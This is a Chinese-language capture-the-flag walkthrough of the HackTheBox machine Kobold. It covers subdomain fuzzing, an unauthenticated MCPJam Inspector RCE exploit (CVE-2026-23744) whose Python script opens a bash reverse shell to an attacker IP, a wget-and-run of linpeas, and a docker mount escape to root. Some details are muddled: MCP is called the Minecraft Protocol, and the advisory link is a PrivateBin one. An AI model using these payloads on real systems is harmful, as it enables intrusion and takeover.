HTB靶场第十赛季Kobold渗透
HTB靶场第十赛季Kobold(狗头人)
Kobold
- Easy
- Linux
一、信息搜集

开启靶机后进行端口扫描

80,443端口,3552端口
nginx/1.24.0 (Ubuntu)
访问80和443端口发现重定向到域名kobold.htb
TLS 认证:kobold.htb, *.kobold.htb
进行子域名枚举,一开始没有枚举出来,换成其他字典进行尝试

使用ffuf进行子域名爆破。ffuf这个工具在需要进行fuzz的字段进行填写FUZZ字段就行
ffuf.exe -u http://10.129.19.199 -k -H "HOST:FUZZ.kobold.htb" -w D:\shengtou\Tools\_Scanner_tools\Tscan无影扫描器\TscanClient_windows\config\SubDict\subdomains-top1million-110000.txt -mc all -c -fs 154 -o jieguo.csv -of csv
| 参数 | 完整写法 | 含义与作用 |
|---|---|---|
-u | -url | 目标 URL指定要测试的基础地址,这里是 http://10.129.19.199(直接访问 IP,通过 HOST 头绑定域名) |
-k | -insecure | 忽略 SSL 证书验证允许访问 HTTPS 站点时跳过证书错误(即使目标是 HTTP,加此参数也不影响) |
-H | -header | 自定义 HTTP 请求头核心参数:HOST:FUZZ.kobold.htb``FUZZ 是 ffuf 的占位符,工具会自动用字典里的子域名替换它,实现子域名爆破 |
-w | -wordlist | 指定字典文件路径这里用的是子域名爆破专用字典:subdomains-top1million-110000.txt(11 万条常用子域名) |
-mc | -match-codes | 匹配 HTTP 状态码all = 匹配所有状态码(200/30x/40x/50x 全部显示,不过滤任何响应) |
-c | -color | 彩色输出让终端结果带颜色区分,更易读(成功、失败、长度不同的结果会用不同颜色) |
-fs | -filter-size | 过滤响应包大小过滤掉大小为 154 字节的响应(排除固定长度的无效 / 默认页面,减少干扰) |

子域名爆破结果:
| 子领域 | 地位 | 描述 |
|---|---|---|
| mcp.kobold.htb | 200 | MCP (Node.js:6274) |
| bin.kobold.htb | 200 | PrivateBin 2.0.2(:8080 Docker) |

这里无法访问,修改hosts地址使得ip指向域名
10.129.19.199 kobold.htb
10.129.19.199 bin.kobold.htb
10.129.19.199 mcp.kobold.htb



https://kobold.htb/
https://bin.kobold.htb/
https://mcp.kobold.htb/
进行指纹识别

在3552端口发现了登录界面:
http://mcp.kobold.htb:3552/login


MCPJam是一个用于测试和监控MCP(Minecraft Protocol)服务器的工具。它允许开发者和服务器管理员轻松地与MCP服务器进行交互,发送测试请求并分析响应。
漏洞库搜索找到相关漏洞:

二、漏洞利用(CVE-2026-23744)
#下载poc
git clone https://github.com/d0x-awrqxavc/CVE-2026-23744-HACKTHEBOX.git
改一下监听的ip和端口(改成vpn的地址)
#nc建立监听:
nc -lvnp 4444
#执行
python3 exploit.py mcp.kobold.htb
#反弹为完整的shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

获取到user的flag
三、尝试提权
上传linpeas.sh进行信息搜集
我这里采用python开启服务,目标机器wget进行下载
本机开启:
python3 -m http.server 8080
目标:
cd ~
wget http://10.10.17.176:8080/linpeas_fat.sh && chmod 755 linpeas_fat.sh && ./linpeas_fat.sh

如果乱码显示:
# 设置UTF-8
export LANG=en_US.UTF-8
export LC_ALL=en_US.UTF-8
找到nginx反向代理配置:


版本:2.0.2
在PrivateBin开源项目中找到了历史漏洞
脆弱性 **:**MCPJam Inspector ≤ 1.4.2 允许未经认证的 POST 请求,使用 包含任意命令的自定义 serverConfig 向 /api/mcp/connect 发送——从而导致 RCE。

POC:
https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82
利用exp:(跟换监听的IP和端口)
import requests
import json
TARGET = "https://mcp.kobold.htb"
ATTACKER_IP = "YOUR IP"
ATTACKER_PORT = "4444"
url = f"{TARGET}/api/mcp/connect"
data = {
"serverConfig": {
"command": "bash",
"args": [
"-c",
f"nohup bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1 &"
],
"env": {}
},
"serverId": "deadbeefcafe"
}
response = requests.post(url, json=data, verify=False)
print(response.status_code)
print(response.text)

升级shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
权限提升docker逃逸:


乍一看,Ben 不属于 docker 组。然而,运行 newgrp docker 时不会提示输入密码 ,这意味着 ben 的主组被默认允许进入 docker。这样就可以使用docker逃逸
批量查看所有镜像的默认用户
docker images --format "{{.Repository}}:{{.Tag}}" | while read img; do
user=$(docker inspect -f '{{.Config.User}}' "$img")
if [ -z "$user" ]; then user="root (root)"; fi
echo "$img → $user"
done

发现mysql是用root运行,逃逸,并查看root用户flag.txt
docker run -v /:/mnt --rm -it mysql chroot /mnt bash
cat /root/root.txt

至此,通关!
- 感谢你赐予我前进的力量